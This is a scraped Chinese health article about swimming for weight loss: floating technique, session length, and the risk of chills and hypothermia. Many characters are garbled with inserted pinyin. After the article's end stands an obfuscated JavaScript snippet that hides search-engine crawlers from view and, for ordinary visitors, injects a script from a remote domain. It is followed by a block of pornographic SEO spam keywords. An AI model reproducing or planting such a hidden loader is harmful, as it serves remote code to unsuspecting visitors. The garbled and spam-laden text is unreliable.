當(dāng)前位置:首頁 > 減肥 > 運(yùn)動(dòng)減肥 > 正文

經(jīng)常游泳可以減腿嗎?

2017-04-21 15:00:16  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:游泳是一種很好的健身項(xiàng)目,并且經(jīng)常堅(jiān)持游泳還有一定的減肥作用,人體在有用的時(shí)候,全身很多的器官都參與到協(xié)調(diào)與運(yùn)動(dòng)當(dāng)中,因此,對(duì)于身

游泳是一種很好的健身項(xiàng)目,并且經(jīng)常堅(jiān)持游泳還有一定的減肥作用,人體在有用的時(shí)候,全身很多的器官都參與到協(xié)調(diào)與運(yùn)動(dòng)當(dāng)中,因此,對(duì)于身體各個(gè)部位所出現(xiàn)的脂肪堆積都有一定的消耗作用,從而使得肌肉更加緊致,體重減輕。下面小編就來介紹游泳對(duì)于減肥的一些好處。

①下水后要馬上尋找身體漂浮的舒適感。中老年或者體質(zhì)較弱的盡可能用最小的動(dòng)作來維持漂浮運(yùn)動(dòng),可以用兩只手劃水,調(diào)勻呼吸,閉目似要進(jìn)入夢(mèng)鄉(xiāng),突然被驚醒或自己睜開眼睛都可以,感覺比躺在床上都舒服輕松時(shí)立即出水。

②出水時(shí)動(dòng)作要緩慢,感覺身體在水中的重量,比較水中的漂浮感和陸地上的重力感。有人身體健壯,很難體會(huì)這種感覺,那就游一段距離,動(dòng)作頻率要低,以不加快心跳為限。

每天游泳多長時(shí)間能減肥?

游泳作為健康的有氧運(yùn)動(dòng),一次長達(dá)2-3小時(shí)的游泳鍛煉,可以減輕1-2公斤體重。只要時(shí)間和精力允許,并不局限說必須多長時(shí)間游一次。每天堅(jiān)持游泳或者一周堅(jiān)持2-3次都是不錯(cuò)的鍛煉方式。

對(duì)于希望通過游泳減肥瘦身的朋友來說,最好能堅(jiān)持或者保持一定的規(guī)律。堅(jiān)持控制飲食和定期的運(yùn)動(dòng)才能保證體重的控制。

至于每次游泳應(yīng)該游多長時(shí)間,一般建議40-60分鐘。游太久的話會(huì)過度疲勞,游的時(shí)間太短又達(dá)不到運(yùn)動(dòng)效果,一般最好的游泳效果就是游到覺得通體暢快但不覺得很累就是最佳時(shí)長了。

游泳時(shí)間應(yīng)從短到長,一次或一天的游泳時(shí)間不超過2-3小時(shí),其間還需要分成若干個(gè)段落。因?yàn)樗疁乇润w溫要低10℃,長時(shí)間游泳,隨著人體的熱 量喪失會(huì)出現(xiàn)寒戰(zhàn)現(xiàn)象。這是一個(gè)信號(hào),表明身體的失熱量開始超過產(chǎn)熱量。此時(shí),應(yīng)該馬上上岸,使身體回暖。否則,體溫持續(xù)下降會(huì)使身體的核心溫度降低,就 會(huì)出現(xiàn)心律紊亂和神志不清等嚴(yán)重癥狀,使人喪失活動(dòng)動(dòng)力,甚至溺水死亡。

只是在游泳的時(shí)候,一定要及時(shí)的,給身體補(bǔ)充水分,來保持身體里面的酸堿平衡度,并且還要盡量的保持游泳動(dòng)作的規(guī)范。由于在游泳的時(shí)候會(huì)消耗大量的體能,因此游泳之后總是會(huì)胃口大開,這個(gè)時(shí)候盡量不要吃過多的食物,以免影響到減肥的效果。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
青青草97国产精品免费观看| 国产99精品一区二区三区免费| 国产成人精品久久一区二区三区av | 久久精品亚洲精品国产色婷| 热99re久久精品精品免费| 国产成人精品电影在线观看| 国产亚洲精品美女| 中文字幕一区二区精品区| 久久久91人妻无码精品蜜桃HD| 日韩精品一线二线三线优势| 人妻少妇偷人精品无码| 精品成人一区二区三区四区 | 精品国产一区二区三区www| 日韩精品极品视频在线观看免费| 亚洲精品A在线观看| 九九99久久精品国产| 2021国产精品露脸在线| 精品久久久久久国产91| 亚洲国产精品日韩| 精品国产18久久久久久| 国产精品久久国产精品99盘| 久久久久久久久毛片精品| 久久久久亚洲精品中文字幕| 国产精品午夜电影| 日本午夜精品视频在线观看| 嫩草伊人久久精品少妇AV| 亚洲精品乱码久久久久久中文字幕 | 欧美精品黑人粗大视频| 亚洲理论精品午夜电影| 久久精品亚洲综合| 国产亚洲精品看片在线观看| 亚洲精品第一国产综合精品99| 国产精品99亚发布| 亚洲精品自偷自拍无码| 日本亚洲精品色婷婷在线影院| 精品在线免费观看| 亚洲一区二区三区在线观看精品中文| 色精品一区二区三区| 国产午夜亚洲精品不卡免下载| 天堂一区二区三区精品| 国产午夜亚洲精品|